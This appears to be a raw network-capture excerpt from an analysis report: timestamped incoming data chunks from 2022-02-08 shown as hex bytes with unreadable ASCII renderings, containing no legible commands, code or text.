01 0c d1 64 01 0c a0 64 01 0c 78 64 01 0c 49 64 01 0c 5c 64 01 0c 58 64 01 0c 9f 64 01 0c bc 64 01 0c 7f 64 01 0c 67 64 
01 0c f1 64 01 0c f4 64 01 0c 6e 64 01 0c 69 64 01 0c 7b 64 01 0c fb 64 01 0c 19 64 01 0c f2 64 01 0c d5 64 01 0c 67 64 
01 0c 12 64 01 0c 1b 64 01 0c 98 64 01 0c b4 64 01 0c ae 64 
Data Ascii: dddd6d7dPd{ddRdddEdddsddddgdddddd+dYdd.dd@dfdPdoddTd`dd dddxdId\dXddddgdddndid{dddddgddd
ddd

2022-02-08 23:07:12 UTC 771 IN Data Raw: 91 75 d7 2a 60 30 2d 86 cb 68 ce cd 58 6b fe ed 0d 91 88 40 fb fc 44 c8 6a 8a 46 3d 4f c6 a3 72 b3 11 89 b7 
64 da bc 91 e4 9e de 24 6b 3d 6f fa 22 67 d5 df 45 7c 3f 9a dd 72 c1 c7 3c b2 ee 04 3e c7 a2 85 2c 37 e4 08 8f a0 37 63 
49 59 b8 60 ae 06 2a 75 3b 9a 47 ca d0 e0 15 5f 0a b9 ab 8b 27 3a df d3 f4 1b 3f 9a dd 72 f6 14 99 ba 34 61 f3 33 ba 95 
8b 4a e2 0c e0 74 5b 2b 3d 05 ba 95 8b 4a 32 65 9c e7 12 ac fa 4b dc d1 4e 71 03 b2 56 3b 19 57 d4 0a 48 c0 b4 39 1b 
a2 f1 46 7f 13 11 31 14 a8 95 9f 95 56 89 3f 9d af 1d 14 d5 df 45 7c 90 50 5c 81 4e c4 db ed 35 96 6c 15 46 3d 4f c6 0d 4f 
ad c4 12 ac fa 4b 47 ca d0 e0 ac 78 d7 c8 19 57 d4 0a dc d1 4e 71 eb 02 eb 79 c3 32 19 fe 7c 11 ab 5b 7f 13 11 31 69 fe 
4d b3 a6 74 66 af df d3 f4 1b d8 20 04 e9 b1 6e a5 0b 6b 
Data Ascii: u*`0-hXk@DjF=Ord$k=o"gE|?r<>,77cIY`*u;G_':?r4a3Jt[+=J2eKNqV;WH9F1V?E|P\N5lF=OOKGxWNqy2|[1iMtf 
nk

2022-02-08 23:07:12 UTC 773 IN Data Raw: 28 1e 6f 0c 05 28 55 22 33 0c 64 01 0c 26 3c 69 44 56 6f 0c 05 28 21 7e 5f 44 64 01 0c 26 10 5d 60 6e 6f 0c 
05 28 0d 4a 7b 7c 64 01 0c 26 d4 d1 9c c6 6f 0c 05 28 c9 c6 87 d4 64 01 0c 26 f8 e5 b8 fe 6f 0c 05 28 e5 f2 a3 ec 64 01 
0c 26 8c b9 d4 b6 6f 0c 05 28 91 ae cf a4 64 01 0c 26 a0 8d f0 8e 6f 0c 05 28 bd 9a eb 9c 64 01 0c 26 1f ba 37 fd 6f 0c 05 
28 02 ad 2c ef 64 01 0c 26 33 8e 13 c5 6f 0c 05 28 2e 99 08 d7 64 01 0c 26 47 d2 7f 8d 6f 0c 05 28 5a c5 64 9f 64 01 0c 
26 6b e6 5b b5 6f 0c 05 28 76 f1 40 a7 64 01 0c 26 af 6a a7 1d 6f 0c 05 28 b2 7d bc 0f 64 01 0c 26 83 5e 83 25 6f 0c 05 
28 9e 49 98 37 64 01 0c 26 f7 02 ef 6d 6f 0c 05 28 ea 15 f4 7f 64 01 0c 26 db 36 cb 55 6f 0c 05 28 c6 21 d0 47 64 01 0c 
26 92 6c 7a 8b 6f 0c 05 28 8f 7b 61 99 64 01 0c 26 be 
Data Ascii: (o(U"3d&<iDVo(!~_Dd&]`no(J{|d&o(d&o(d&o(d&o(d&7o(,d&3o(.d&Go(Zdd&k[o(v@d&jo(}d&^%o(I7d&m
o(d&6Uo(!Gd&lzo({ad&

2022-02-08 23:07:12 UTC 775 IN Data Raw: 20 12 6d 0f 07 2b 5b 2b 3d 05 64 01 0c 26 2c 71 54 4e 6d 0f 07 2b 37 63 49 59 64 01 0c 26 08 49 78 7a 6d 0f 
07 2b 13 5b 65 6d 64 01 0c 26 f4 e1 bc f6 6d 0f 07 2b ef f3 a1 e1 64 01 0c 26 d0 d9 90 c2 6d 0f 07 2b cb cb 8d d5 64 01 
0c 26 bc 91 e4 9e 6d 0f 07 2b a7 83 f9 89 64 01 0c 26 98 a9 c8 aa 6d 0f 07 2b 83 bb d5 bd 64 01 0c 26 5f da 77 9d 6d 0f 
07 2b 44 c8 6a 8a 64 01 0c 26 7b e2 5b a9 6d 0f 07 2b 60 f0 46 be 64 01 0c 26 17 aa 2f f5 6d 0f 07 2b 0c b8 32 e2 64 01 
0c 26 33 92 03 c1 6d 0f 07 2b 28 80 1e d6 64 01 0c 26 cf 3a c7 4d 6d 0f 07 2b d4 28 da 5a 64 01 0c 26 eb 02 eb 79 6d 0f 
07 2b f0 10 f6 6e 64 01 0c 26 87 4a 9f 25 6d 0f 07 2b 9c 58 82 32 64 01 0c 26 a3 72 b3 11 6d 0f 07 2b b8 60 ae 06 64 01 
0c 26 12 ac fa 4b 6d 0f 07 2b 09 be e7 5c 64 01 0c 26 36 
Data Ascii:  m+[+=d&,qTNm+7cIYd&Ixzm+[emd&m+d&m+d&m+d&m+d&_wm+Djd&{[m+`Fd&/m+2d&3m+(d&:Mm+
(Zd&ym+nd&J%m+X2d&rm+`d&Km+\d&6

2022-02-08 23:07:12 UTC 777 IN Data Raw: 0c 39 64 01 0c 19 64 01 0c 59 64 01 0c d9 64 01 0c c2 64 01 0c f4 64 01 0c f4 64 01 0c f4 74 01 0c f4 74 00 0e 
f7 70 05 08 f0 78 0c 02 fb 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 10 2e c7 30 45 48 b0 b8 dc e2 0b 
74 01 0c f4 1d c5 ec 2c 77 be e8 1c af 73 5f 9c df c7 9a c6 c7 c7 9a c6 c7 c6 98 c5 c3 c3 9e c2 cb ca 94 c9 c7 c7 9a c6 d7 
d6 88 d5 c3 c3 9e c2 c3 c3 9e c2 c3 c3 9e c2 c3 d2 bc f1 87 87 da 86 0f 1e 70 3d c3 c3 9e c2 1e 6a e2 66 98 26 3d 86 f6 
89 4d 26 1a 84 3c b7 3a 84 3c b7 3a 85 3e b4 3e 80 38 b3 36 89 32 b8 3a 84 3c b7 2a 95 2e a4 3e 80 38 b3 26 99 22 a8 
3a 84 3c b7 3a 95 1e 84 7e c0 78 f3 f6 59 d2 48 3a 84 3c b7 b4 26 8b 7d e5 41 ce c2 0f bd 87 52 44 f4 e7 db 2f 91 9e db 
5b fc ee db 5b fc ee db 5b fc ee db 5b fc ee db a3 
Data Ascii: 9ddYdddddttpxtttttt.0EHt,ws_p=jf&=M&<:<:>>862:<*.>8&":<:~xYH:<&}ARD/[[[[

2022-02-08 23:07:12 UTC 779 IN Data Raw: 90 e9 1a cf fe bf 7b a3 97 db 1a d7 f2 ee 1a d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 97 28 0d 11 68 d7 f2 
ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d d0 68 d7 f2 
ef 5c e2 c4 d8 64 db fe e3 58 e6 01 1c a7 18 fe e3 58 18 ff e1 5b 1c fa e7 5c 14 f3 ed 57 18 fe e3 58 08 ef f1 4b 1c fa e7 
5c 04 e3 18 a3 fb 1c e7 5c e1 07 fb 41 ff 18 db 60 dd 3b ff 45 fb 1c d7 6c d1 37 fb 41 ff 18 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
Data Ascii: {hhh(h(h(h(h(h(h\dXX[\WXK\\A`;El7Ap+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p

2022-02-08 23:07:12 UTC 781 IN Data Raw: a7 48 e5 b7 a7 48 af b7 a7 48 e5 b7 a7 48 ae b7 a7 48 e5 b7 a7 48 a9 b7 a7 48 e5 b7 a7 48 a8 b7 a7 48 e5 
b7 a7 48 ab b7 a7 48 e5 b7 a7 48 aa b7 a7 48 e5 b7 a7 48 b5 b7 a7 48 e5 b7 a7 48 b4 b7 a7 48 e5 b7 a7 48 b7 b7 a7 48 
e5 b7 a7 48 b6 b7 a7 48 e5 b7 a7 48 b1 b7 a7 48 e5 b7 a7 48 b0 b7 a7 48 e5 b7 a7 48 b3 b7 a7 48 e5 b7 a7 48 b2 b7 a7 
48 e5 b7 a7 48 bd b7 a7 48 e5 b7 a7 48 bc b7 a7 48 e5 b7 a7 48 bf b7 a7 48 e5 b7 a7 48 84 b7 a7 48 e5 b7 a7 48 87 b7 
a7 48 e5 b7 a7 48 86 b7 a7 48 e5 b7 a7 48 81 b7 a7 48 e5 b7 a7 48 80 b7 a7 48 e5 b7 a7 48 83 b7 a7 48 e5 b7 a7 48 82 
b7 a7 48 e5 b7 a7 48 8d b7 a7 48 e5 b7 a7 48 8c b7 a7 48 e5 b7 a7 48 8f b7 a7 48 e5 b7 a7 48 8e b7 a7 48 e5 b7 a7 48 
89 b7 a7 48 e5 b7 a7 48 88 b7 a7 48 e5 b7 a7 48 8b b7 a7 48 e5 b7 a7 48 8a 
Data Ascii: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

2022-02-08 23:07:12 UTC 783 IN Data Raw: b0 1a dc c1 bd 1a c5 a5 b1 1a dc f1 ba 1a c5 c5 b0 1a dc b7 a5 fa dd a2 ad fa c8 d6 a1 fa dd b2 aa fa c8 86 a0 
fa dd f4 b1 1a dc ea b8 1a c2 0e 1e 1a dc 7a bb 1a c2 4e 1f 1a dc 4f bd 1a cc 1f bd 1a cd 14 bf 1a c6 26 b8 2a c7 2d bb 
2a cc 2c 9d 2a c8 1c 9d 2a c9 3d 96 2a e8 59 0a 2a c9 6d 90 2a e8 6c 04 2a fa 9c 14 ca f4 4c 18 ba ff 1c 18 ba fe 1b 1a 
ba f9 1a 23 ba f8 0a 20 ba e8 0b a4 ba e1 3b a4 ba e0 27 a8 ba fc 43 b9 ba e0 17 b6 ba fc 23 b8 ba e0 51 a0 4a f6 b1 b4 
9a e4 71 a4 ea e5 53 af ea c7 b7 32 ea e5 c3 ae ea c7 a7 35 ea e5 93 af ea c7 92 37 ea d3 c2 37 ea d2 de 3b ea ce ba 2f 
ea d2 ee 3c ea ce da 2e ea d2 68 36 1a c4 88 22 ca d6 48 32 ba d7 57 39 ba c8 23 1b ba d7 47 3a ba c8 73 1a ba d7 72 
06 ba c3 92 14 7a d3 c2 14 7a d2 cb 17 7a db ca 13 7b d9 
Data Ascii: zNO&*-*,**=*Y*m*l*L# ;'C#QJqS2577;/<.h6"H2W9#G:srzzz{

2022-02-08 23:07:12 UTC 785 IN Data Raw: a8 b9 d0 46 ac b9 da 72 a2 b9 d0 e0 a4 c9 18 37 a5 c9 58 37 a5 c9 59 31 a7 c9 5f 63 a5 f9 5e 63 a5 f9 5f 65 
a7 f9 59 57 a5 c9 58 4e af c9 41 3a a4 c9 58 5e ae c9 41 0a a7 c9 58 3e af c9 41 6c ba 39 40 63 be 39 4f 57 b8 39 40 65 
b3 49 51 79 b9 49 4d 1d b6 49 51 29 b8 49 4d 5b a0 b9 5b bb b4 69 49 7b a4 19 f9 8f a5 19 f8 8f a5 19 e3 24 a4 19 cc 88 
a5 19 4c 3b a7 19 4c 3b a7 19 5d 34 a3 19 52 00 a4 19 5d 32 af 69 ed c6 ae 69 ec c6 ae 69 87 6b af 69 f2 c6 ae 69 1c 75 
ac 69 1c 75 ac 69 0d 60 a4 69 18 14 af 69 0d 70 a5 69 18 44 ac 69 0d 16 bd 89 bd e2 bc 89 bf e2 bc 89 ba 4c bd 89 9d e2 
bc 89 39 51 be 89 39 51 be 89 15 ff bf 89 55 51 be 89 f1 e2 bc 89 f1 e2 bc 89 e0 fb b4 89 f9 8f bc 89 e0 eb bb 89 f9 df bd 
89 e0 ed a8 69 50 19 a9 69 51 19 a9 69 07 a9 a8 69 6d 
Data Ascii: Fr7X7Y1_c^c_eYWXNA:X^AX>Al9@c9OW9@eIQyIMIQ)IM[[iI{$L;L;]4R]2iiikiiuiui`iipiDiL9Q9QUQiPiQiim

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 791 IN Data Raw: ab 5b 48 36 a5 5b 5b 05 ab 29 51 f5 a3 c9 57 25 a7 09 55 75 a7 09 9d a2 a6 09 ad a2 a6 09 bc ad a0 09 b3 c9 
a9 09 bc fd a1 09 b3 af aa 79 03 5b ab 79 02 5b ab 79 90 1e a9 79 94 58 ab 79 53 ed a9 79 53 ed a9 79 42 f0 a5 79 5f 34 
a8 79 42 40 a4 79 5f 24 af 79 42 10 a5 79 5f 42 bc 89 48 a2 a9 59 f8 56 a8 59 fa 56 a8 59 a3 11 aa 59 d2 56 a8 59 2b e3 
aa 59 2b e3 aa 59 d5 a5 a8 59 56 ed aa 59 42 5b a8 59 42 5b a8 59 43 4b ae 59 53 3f a9 59 43 0b af 59 53 39 a3 b9 42 
2c ab b9 57 58 a3 b9 42 3c a4 b9 57 08 a2 b9 42 3a b3 49 f2 ce b2 49 f3 ce b2 49 90 88 b0 49 10 ce b2 49 f0 7b b0 49 f0 
7b b0 49 e1 6a b6 49 f0 5e bc 49 e1 6c b1 a9 ea 1c bb c9 5a e8 ba c9 5b e8 ba c9 48 a3 b8 c9 1f e8 ba c9 32 5e b8 c9 32 
5e b8 c9 23 54 bc c9 29 60 b0 c9 23 f2 b6 b9 93 06 b7 b9 92 
Data Ascii: [H6[[)QW%Uuy[y[yyXySySyBy_4yB@y_$yBy_BHYVYVYYVY+Y+YYVYB[YB[YCKYS?YCYS9B,WXB<WB
:IIIII{I{IjI^IlZ[H2^2^#T)`#

2022-02-08 23:07:12 UTC 793 IN Data Raw: e2 5d c8 02 fd 5d d7 76 e3 5d c8 12 fe 5d d7 26 e2 5d c8 27 f8 5d dc 77 f8 5d dd 6c f2 5d c6 18 fc 5d dd 7c f1 
5d c6 48 fd 5d dd 3a e9 ad cf da f9 fd d6 fc f3 fd c2 fd fa fc cf 0d f1 1c c6 dd f6 dc c3 ad f2 bc c0 fd f0 8c 08 2a f1 8c 38 22 
f1 8c 20 87 f2 8c 20 87 f2 8c 20 87 f2 8c e0 37 f1 8c 50 f7 f3 8c 38 53 f0 8c 38 53 f0 8c 38 53 f0 8c 6a e1 f3 8c 6a 21 f1 8c 
e2 88 f2 8c e2 88 f2 8c e2 88 f2 8c 88 3b f1 8c a8 fe f3 8c 58 57 f0 8c 58 57 f0 8c 58 57 f0 8c 2e e4 f3 8c a6 21 f1 8c a6 21 
f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c 6e 90 f2 8c 6e 90 f2 8c 82 20 f1 8c 82 20 f1 8c 14 97 f2 8c 14 97 f2 8c 
b8 20 f1 8c b8 20 f1 8c 7c 97 f2 8c 7c 97 f2 8c 46 25 f1 8c 46 25 f1 8c 60 97 f2 8c 60 97 f2 8c 78 25 f1 8c 78 25 f1 8c 7c 97 
f2 8c 7c 97 f2 8c 86 
Data Ascii: ]]v]]&]']w]l]]|]H]:*8"   7P8S8S8Sjj!;XWXWXW.!!!!!!nn    ||F%F%``x%x%||

2022-02-08 23:07:12 UTC 829 IN Data Raw: 89 cf d3 c7 19 69 64 47 af d8 d5 e1 02 6f 52 4b b3 c9 f2 fc 1f 78 48 7e dc 78 8c 7f 58 de 3b ff ee 6f 8a 59 43 
d8 0d f3 f2 7e ad 44 5e cf 17 c6 9d cf 7e c5 13 79 d1 72 b9 f8 6b c5 1f 6f c7 51 b5 c8 61 d1 1e 6a d0 12 d8 6b 54 b4 6f eb 
e2 05 de 4d 4f b2 4d fc e3 12 eb 4c 53 d1 21 4d d7 77 96 cd 61 c6 27 6b cc 71 b0 c0 7d d7 12 67 be d7 d1 64 2f 71 73 c3 
aa db dc 65 69 db b9 65 e9 77 14 c8 4f d7 a3 45 ed 79 05 e2 7e d3 b6 44 bd d3 29 44 3d 62 8f e6 8a c4 02 44 24 62 a5 
d7 8e d1 03 55 4d d1 fc 51 d8 7b 4d e6 6e d9 e2 75 df 75 55 d3 7f c2 d3 68 bc c2 1d 6c 2b 64 ac c2 81 c9 0e 75 27 5a bf 
d9 87 fc 0f 69 44 fc c9 6a d5 5a 6b cd 46 eb c7 6d e0 5b 77 e3 46 f5 db 52 fc 36 e6 57 68 87 4c e0 ce 14 fd 4c 6e b2 4d fc 
e0 14 e3 50 51 ae 20 50 dc ac a4 f6 6b 3b 0f 47 cd 
Data Ascii: idGoRKxH~xX;oYC~D^~yrkoQajkToMOMLS!Mwa'kq}gd/qseiewOEy~D)D=bD$bUMQ{MnuuUhl+du'
ZiDjZkFm[wFR6WhLLnMPQ Pk;G

2022-02-08 23:07:12 UTC 831 IN Data Raw: c9 f2 ae 87 0a f2 bb 87 88 43 1d 02 22 ec bb 80 91 46 0b 02 1c d6 81 c1 90 d7 05 67 27 57 a9 c9 89 f5 04 6e 
06 5f a9 c8 84 9c 62 c9 00 3a d5 49 b6 8b 64 ef 1b 3c f3 44 aa 9a 51 e3 20 3d 92 e3 4b 3f 16 45 fc af a1 e2 77 0d 0c 45 
d8 ab cf 45 c2 a9 4b e3 75 27 e7 44 c3 88 41 c1 69 27 e7 4c cb 89 41 d8 08 89 43 db 82 39 c4 7d 23 8f 60 d9 85 3e f3 68 
23 8e 55 c5 94 4d 53 c6 1e fd c0 77 b2 5d 66 c7 02 f1 d7 42 a4 53 60 f4 15 f5 f3 45 b3 45 55 e8 04 86 a7 e8 82 2b 10 4e 
33 ab a1 e4 84 01 01 46 2b 91 a7 e6 9c 3b 0b 4b 5f 3b 30 48 d0 9d 92 fd 76 1d 23 57 c1 b7 83 f5 6e 27 25 55 d9 8d 89 f8 
1a 8d 62 fa 90 20 c8 4d 3a 82 67 e7 83 24 e7 56 29 93 4d f6 8b 3c dd 50 2b 8b 77 fc 86 09 da 5b 16 ba 70 f6 96 16 c6 5b 
21 d5 14 5b a6 73 bb fd 11 d5 3b 4c bb 62 91 ec 19 cd 01 
Data Ascii: C"Fg'Wn_b:Id<DQ =K?EwEEKu'DAi'LAC9}#`>h#UMSw]fBS`EEU+N3F+;K_;0Hv#Wn'%Ub M:g$V)M<P+w[p[![
s;Lb

2022-02-08 23:07:12 UTC 833 IN Data Raw: 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 1f 16 ed a8 21 38 c3 86 0f 16 ed a8 21 38 
c3 86 0f 16 ed a8 21 38 de 86 0c 16 b0 8d 55 51 f0 c7 12 0d fb b5 4f 5a a6 ec 0e 03 be f6 7c 5f e5 b6 36 1d a7 ab 2a 1d 
ec fd 61 33 c2 d3 4f 1d ec fd 61 33 c2 d3 4f 1d ec fd 
Data Ascii: ?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8!8!8!8UQOZ|_6*a3Oa3O

2022-02-08 23:07:12 UTC 835 IN Data Raw: 44 1a f8 a3 6a 34 d6 8d 44 1a f8 a3 6a 34 d6 bb 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 05 d6 3a 44 29 f8 15 
6a 24 d6 3a 44 08 f8 16 6a 1c d6 3b 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 
9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c 
d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 
Data Ascii: Dj4Dj4Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj:D)j$:Dj;Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?
Dj?Dj

2022-02-08 23:07:12 UTC 837 IN Data Raw: ab 9a a5 5e ab 9a 5a a1 54 65 5a a1 54 65 68 03 8b 48 f1 28 8b 48 3c 75 ab 9a 5a a1 54 65 5a a1 54 65 5a a1 
54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a 
a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 
5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 
65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 
54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b 
a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a 
Data Ascii: ^ZTeZTehH(H<uZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZT
eZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTe[Te[Te[Te[Te[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[Te
ZTeZTeZ

2022-02-08 23:07:12 UTC 839 IN Data Raw: 20 ee 8b 11 20 ee 8b 11 20 ee 8b 11 20 ee 4b 63 24 6e 4a 63 24 6e 4b 62 24 6e 4b 62 24 6e 4b 62 24 6e 4b 
72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 49 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 
6e 48 72 24 6e 4a 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 
24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
Data Ascii:     Kc$nJc$nKb$nKb$nKb$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nIr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nJr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nH

2022-02-08 23:07:12 UTC 841 IN Data Raw: 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 
6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 
fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff 
a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 
25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 
ee fe a8 26 ee ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee be 4b 25 6e 
bf 4b 25 6e bf 4b 25 6e bf 4b 25 6e bf 
Data Ascii: %n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n
/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&&&&&&&K%nK%nK%nK%n

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 843 IN Data Raw: a5 93 28 4e a5 93 ca 2a a5 93 ea 8b a6 93 be ee a6 93 1e 89 a6 93 22 28 a5 93 d2 4f a5 93 23 27 a5 93 b7 a8 
a6 93 43 c0 a6 93 91 a9 a6 93 e9 3a a5 93 3d 53 a5 93 e9 39 a5 93 01 99 a6 93 d5 f3 a6 93 3a 98 a6 93 52 07 a5 93 42 
6b a5 93 37 07 a5 93 0f 90 a6 93 77 fc a6 93 a8 90 a6 93 44 0c a5 93 a4 60 a5 93 a7 0e a5 93 77 af a6 93 73 c1 a6 93 6a 
ae a6 93 ba 0f a5 93 f2 60 a5 93 4e 0f a5 93 76 98 a6 93 ca f7 a6 93 4a 87 a6 93 3e 16 a5 93 be 66 a5 93 51 16 a5 93 c1 
9d a6 93 31 ed a6 93 fe 9c a6 93 a6 3d a5 93 76 4c a5 93 46 3e a5 93 d6 b5 a6 93 e6 c7 a6 93 61 b5 a6 93 b5 26 a5 93 
21 54 a5 93 96 26 a5 93 fa 87 a6 93 42 f5 a6 93 46 86 a6 93 92 15 a5 93 be 66 a5 93 d5 12 a5 93 05 84 a6 93 69 f0 a6 9
3 94 85 a6 93 e0 24 a5 93 84 52 a5 93 9c 25 a5 93 a4 b2 a6 93 bc 
Data Ascii: (N*"(O#'C:=S9:RBk7wD`wsj`NvJ>fQ1=vLF>a&!T&BFfi$R%

2022-02-08 23:07:12 UTC 845 IN Data Raw: a4 93 7f cc a7 93 f3 c5 a6 93 28 cc a7 93 fc 5f a4 93 20 56 a5 93 8a 5c a4 93 5a fd a7 93 9a f7 a6 93 07 fc a7 
93 3f 6b a4 93 9f 60 a5 93 05 6c a4 93 f1 e1 a7 93 6d ed a6 93 eb e0 a7 93 e3 7f a4 93 6b 72 a5 93 90 7f a4 93 80 f1 a7 
93 7c fc a6 93 09 f2 a7 93 19 7c a4 93 61 72 a5 93 c9 7d a4 93 95 f3 a7 93 3d fc a6 93 32 ed a7 93 4e 63 a4 93 5e 72 a5 
93 03 60 a4 93 27 ee a7 93 47 fc a6 93 35 ef a7 93 75 61 a4 93 01 72 a5 93 dd 61 a4 93 4d ea a7 93 91 f9 a6 93 50 ec a7 
93 e8 62 a4 93 2c 77 a5 93 11 60 a4 93 89 ee a7 93 c9 f9 a6 93 1a ee a7 93 ca 4f a4 93 1e 58 a5 93 00 40 a4 93 e8 d6 
a7 93 c8 ce a6 93 ca d7 a7 93 22 59 a4 93 26 40 a5 93 96 5a a4 93 46 d4 a7 93 f6 ce a6 93 c2 d5 a7 93 7e 4f a4 93 4a 54 
a5 93 17 4f a4 93 df dc a7 93 bf c7 a6 93 2d dc a7 93 3d 
Data Ascii: (_ V\Z?k`lmkr||ar}=2Nc^r`'G5uaraMPb,w`OX@"Y&@ZF~OJTO-=

